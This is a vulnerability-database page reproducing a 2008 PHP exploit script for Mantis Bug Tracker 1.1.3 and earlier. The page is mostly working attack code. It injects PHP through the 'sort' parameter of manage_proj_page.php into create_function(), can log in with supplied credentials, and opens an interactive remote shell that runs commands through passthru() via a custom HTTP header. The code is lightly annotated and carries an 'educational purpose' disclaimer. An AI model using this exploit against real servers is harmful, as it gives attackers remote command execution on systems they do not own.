Lucene search
K

Mantis Bug Tracker <= 1.1.3 - Remote Code Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Mantis Bug Tracker <= 1.1.3 Remote Code Executio

Code

                                                &#60;?php

/*
	--------------------------------------------------------------------------------
	Mantis Bug Tracker &#60;= 1.1.3 (manage_proj_page.php) Remote Code Execution Exploit
	--------------------------------------------------------------------------------
	
	author...: EgiX
	mail.....: n0b0d13s[at]gmail[dot]com
	
	link.....: http://www.mantisbt.org/
	
	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.
	
	[-] vulnerable code in /manage_proj_page.php
	
	32.	$f_sort	= gpc_get_string( &#39;sort&#39;, &#39;name&#39; ); &#60;=== this is taken and stripslashed from $_GET[&#39;sort&#39;]
	33.	$f_dir	= gpc_get_string( &#39;dir&#39;, &#39;ASC&#39; );
	
	(...)
	
	89.	$t_projects = multi_sort( $t_full_projects, $f_sort, $t_direction ); &#60;=== and here is passed to multi_sort()
	90.	$t_stack    = array( $t_projects );
	
	[-] multi_sort() function defined into /core/utility_api.php
	
	185.	# --------------------
	186.	# Sort a multi-dimensional array by one of its keys
	187.	function multi_sort( $p_array, $p_key, $p_direction=ASCENDING ) {
	188.		if ( DESCENDING == $p_direction ) {
	189.			$t_factor = -1;
	190.		} else {
	191.			# might as well allow everything else to mean ASC rather than erroring
	192.			$t_factor = 1;
	193.		}
	194.
	195.		$t_function = create_function( &#39;$a, $b&#39;, &#34;return $t_factor * strnatcasecmp( \$a[&#39;$p_key&#39;], \$b[&#39;$p_key&#39;] );&#34; );
	196.		uasort( $p_array, $t_function );
	197.		return $p_array;
	198.	}
	
	An attacker could be able to inject and execute PHP code through $_GET[&#39;sort&#39;],	that is passed to create_function()
	at line 195 into multi_sort() function body. By default only registered users can access to manage_proj_page.php
	(I&#39;ve tested this on 1.1.3 version), because of this sometimes this PoC works only with a valid account.
*/

error_reporting(0);
set_time_limit(0);
ini_set(&#34;default_socket_timeout&#34;, 5);

define(STDIN, fopen(&#34;php://stdin&#34;, &#34;r&#34;));

function http_send($host, $packet)
{
	$sock = fsockopen($host, 80);
	while (!$sock)
	{
		print &#34;\n[-] No response from {$host}:80 Trying again...&#34;;
		$sock = fsockopen($host, 80);
	}
	fputs($sock, $packet);
	while (!feof($sock)) $resp .= fread($sock, 1024);
	fclose($sock);
	return $resp;
}

function check_login()
{
	global $host, $path, $user, $pass, $cookie;
	
	$packet  = &#34;GET {$path}manage_proj_page.php HTTP/1.0\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;Connection: close\r\n\r\n&#34;;
	
	if (preg_match(&#34;/Location: login_page.php/&#34;, http_send($host, $packet)))
	{
		if (isset($pass))
		{
			$payload = &#34;username={$user}&password={$pass}&#34;;
			$packet  = &#34;POST {$path}login.php HTTP/1.0\r\n&#34;;
			$packet .= &#34;Host: {$host}\r\n&#34;;
			$packet .= &#34;Cookie: PHPSESSID=&#34;.md5(&#34;foo&#34;).&#34;\r\n&#34;;
			$packet .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
			$packet .= &#34;Content-Length: &#34;.strlen($payload).&#34;\r\n&#34;;
			$packet .= &#34;Connection: close\r\n\r\n&#34;;
			$packet .= $payload;
			
			if (!preg_match(&#34;/Set-Cookie: (.*);/&#34;, http_send($host, $packet), $match)) die(&#34;\n[-] Login failed...\n&#34;);
			$cookie = $match[1];
		}
		else die(&#34;\n[-] Credentials needed...\n&#34;);
	}
}

print &#34;\n+-------------------------------------------------------------------+&#34;;
print &#34;\n| Mantis Bug Tracker &#60;= 1.1.3 Remote Code Execution Exploit by EgiX |&#34;;
print &#34;\n+-------------------------------------------------------------------+\n&#34;;

if ($argc &#60; 3)
{
	print &#34;\nUsage......: php $argv[0] host path [user] [password]\n&#34;;
	print &#34;\nExample....: php $argv[0] localhost /mantis/&#34;;
	print &#34;\nExample....: php $argv[0] localhost / user pass\n&#34;;
	die();
}

$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];

check_login();

$code	 = &#34;&#39;]);}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;%%23&#34;;
$packet  = &#34;GET {$path}manage_proj_page.php?sort={$code} HTTP/1.0\r\n&#34;;
$packet .= &#34;Host: {$host}\r\n&#34;;
$packet .= &#34;Cookie: PHPSESSID=&#34;.md5(&#34;foo&#34;).(isset($cookie) ? &#34;; {$cookie}&#34; : &#34;&#34;).&#34;\r\n&#34;;
$packet .= &#34;Cmd: %s\r\n&#34;;
$packet .= &#34;Connection: close\r\n\r\n&#34;;

while(1)
{
	print &#34;\nmantis-shell# &#34;;
	$cmd = trim(fgets(STDIN));
	if ($cmd != &#34;exit&#34;)
	{
		$response = http_send($host, sprintf($packet, base64_encode($cmd)));
		preg_match(&#34;/_code_/&#34;, $response) ? print array_pop(explode(&#34;_code_&#34;, $response)) : die(&#34;\n[-] Exploit failed...\n&#34;);
	}
	else break;
}

?&#62;

# milw0rm.com [2008-10-16]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation